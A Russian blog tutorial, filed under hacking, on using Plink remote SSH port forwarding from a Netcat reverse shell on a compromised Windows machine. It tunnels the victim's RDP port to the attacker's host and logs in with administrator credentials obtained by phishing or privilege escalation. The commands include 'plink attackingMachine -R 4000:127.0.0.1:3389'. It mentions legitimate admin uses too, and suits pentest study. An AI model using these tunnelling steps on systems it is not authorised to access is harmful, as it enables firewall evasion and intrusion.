Categories: Хакинг

Удаленный Port Forwarding (проброс портов) и его использование для обхода ограничений брандмауэров

Содержание:

Локальное перенаправление портов (проброс портов) хорош, когда вы хотите использовать SSH для того, чтобы попасть в немаршрутизируемую сеть. Но если вы хотите получить доступ к службам внутри сети, при этом не можете настроить перенаправление портов на маршрутизаторе и не имеете доступа к сети VPN, то как раз удаленное перенаправление портов — это и есть способ это сделать.

Удаленный проброс портов выполняется в ситуациях, когда вы хотите получить доступ к какой-нибудь службе во внутренней сети и уже получили контроль над машиной в этой сети с помощью какого-либо reverse shell’а (reverse shell — это удаленная консоль, где вы являетесь сервером и вызываете соединение с консолью на себя). Являетесь ли вы пентестером или системным администратором — в любом случае это хорошая штука, о которой нужно знать.

Например, вы компрометируете публичный терминал в местной библиотеке и получили какие-нибудь учетные данные. Вы устанавливаете какой-нибудь постоянный reverse shell какого-то типа, который вызывает соединение обратно на ваш компьютер, но при этом у вас нет доступа к другим службам на библиотечной машине. У компьютера-жертвы может быть экземпляр SQL, настроенный на локальном хосте, к которому вы хотели бы получить доступ, или, может быть, вы хотите получить доступ к удаленному рабочему столу. Может быть, в этой сети есть какая-то панель администратора, в которой вы хотели бы покопаться. Независимо от того, что вы хотите, скомпрометированный хост и SSH доставят вас туда.

Удаленное перенаправление портов не обязательно связано только с какими-то вредоносными сценариями. Вы можете использовать его, чтобы сделать временную дыру в сети для того, чтобы использовать рабочие службы дома, хотя ваша команда IT-безопасности может вас огорчить до невозможности.

Еще одно замечательное применение этой техники — в фишинговых кампаниях, где пользователь исполнил вашу полезную нагрузку, и у вас есть только обратное соединение от reverse shell’а. После небольшого сбора информации и расширения ваших прав, вы получаете учетные данные администратора и можете использовать их на другой службе на той же взломанной машине.

В этой статье мы будем использовать SSH для того, чтобы получить доступ к удаленному рабочему столу на хосте, защищенном брандмауэром во внутренней сети. И все это без изменения правил перенаправления портов на шлюзе!

Ситуация

Оболочкой (шелом) будет соединение Netcat, работающее с cmd.exe. Пользователь «bob» не является привилегированным пользователем. Благодаря предварительно проведенному сбору информации мы знаем, что пользователь «barrow» — администратор. Мы также знаем, что на этом компьютере имеется доступ к удаленному рабочему столу.

Было бы замечательно залогиниться в эту систему с помощью удаленного рабочего стола, да еще и в качестве администратора, но она не маршрутизируется на нашу машину. Наша скомпрометированная машина находится за маршрутизатором с внутренним IP-адресом, и у нас нет доступа к внутренней сети, за исключением внутреннего хоста.

Мы можем использовать reverse shell для взаимодействия с уязвимым хостом, но если мы попытаемся подключиться к удаленному рабочему столу, IP-адрес станет недействительным. Если мы воспользуемся публичным IP-адресом, то мы подключимся к маршрутизатору, который просто сбросит наши пакеты. Так как у нас нет SSH-сервера в этой сети, с которым мы могли бы работать, то нам придется использовать Plink для перенаправления службы удаленных рабочих столов на нашу атакующую машину.

Шаг 1. Установка Plink

Plink — это консольный клиент SSH для Windows. Он входит в состав Kali Linux и находится в каталоге /usr/share/windows-binaries/. Его также можно скачать с сайта — у разработчика (ищите файл plink.exe).

Шаг 2. Конфигурирование удаленного перенаправления портов

Используя командную оболочку Netcat и plink.exe, мы можем настроить удаленное перенаправление порта на наш атакующий компьютер с машины-жертвы, если введем следующую команду в reverse shell (удаленную консоль) с машины жертвы:

plink attackingMachine -R 4000: 127.0.0.1: 3389

Синтаксис похож на синтаксис SSH. Использование опции -R говорит Plink подключиться к атакующей машине и привязать канал к порту 4000 (порт 4000 выбран произвольно — вы можете выбрать любой порт). Следующая часть между двоеточиями определяет, какая служба будет обслуживаться на 4000-м порту на атакующем компьютере. В этом случае 3389-й порт — порт машины-жертвы. Как только мы ввели эту команду, мы можем войти с нашими учетными данными в атакующую машину. Теперь атакующий компьютер на локальном хосте на 4000-м порту имеет доступ к службе удаленного рабочего стола на компьютере-жертве.

Если вы обратили внимание, мы использовали адрес localhost на компьютере-жертве. Это может быть полезно для служб перенаправления портов, которые обычно ограничены доступом только к локальному хосту, например mySQL.

Шаг 3. Залогиньтесь на удаленный рабочий стол

Когда все это будет запущено в командной строке нашего Netcat, мы можем подключиться к службе удаленного рабочего стола на машине-жертве с помощью команды rdesktop. Следующая команда использует протокол удаленного рабочего стола для подключения к локальному порту 4000, при этом компьютер-жертва перенаправляет свой локальный порт 3389.

rdesktop localhost: 4000

Все, что осталось сделать, это использовать известные учетные данные (полученные либо путем фишинга, либо приобретенные через расширение прав) для входа в систему Windows. С этого момента у нас есть полный административный доступ к системе, несмотря на то, что шлюз системы сбрасывает все входящие запросы на подключение. Мы также сохранили наше первоначальное соединение с шелом, которое всегда важно. Открытые шелы всегда легче потерять, чем снова восстановить.

SSH — отличный инструмент для работы в сетях, но он не ограничивается тестированием на проникновение. Удаленное перенаправление портов может предоставить вам доступ к службам на машине, которая обычно недоступна. Это может быть полезно, если вы хотите поделиться своими службами с теми сетями, которые обычно не имеют к ним доступа. Например, если вам необходимо временно подключиться к службе на работе из вашего дома, но брандмауэр сбрасывает все входящие пакеты. В некоторых случаях настройка обратного SSH-туннеля проще, чем перенаправление портов маршрутизатора потребительского класса.

Если у вас есть какие-либо вопросы или комментарии, не стесняйтесь, задавайте их комментариях.

HelpUAdmin

Recent Posts

Windows 10 стала работать медленнее после установки обновления? Исправим это

Ваш компьютер на Windows 10 перестал быть быстрым после обновления системы? Мы подскажем, как устранить…

3 года ago

Описание приложения-чата по приглашениям Clubhouse

Это приложение для iPhone основано на приглашениях и аудио. С его помощью можно всё равно…

3 года ago

Изменение почтового клиента по умолчанию в iOS 14 на Outlook, Spark, Gmail и другие

Одним из самых значительных изменений в операционной системе iOS 14 является возможность менять приложения по…

4 года ago

Включение пузырей уведомлений в чатах на Android 11

В системе Android 10 появился фреймворк для пузырей чатов, популярность которым принёс Messenger. Новая система…

4 года ago

Как настроить беспроводную отладку в Android 11

От загрузки в режим Fastboot при помощи одной команды до установки модов без рута, есть…

4 года ago

Главные проблемы Android 11 Beta и следует ли устанавливать её

Бета-версия операционной системы Android 11 в настоящее время доступна для устройств Google Pixel. Нужно посетить…

4 года ago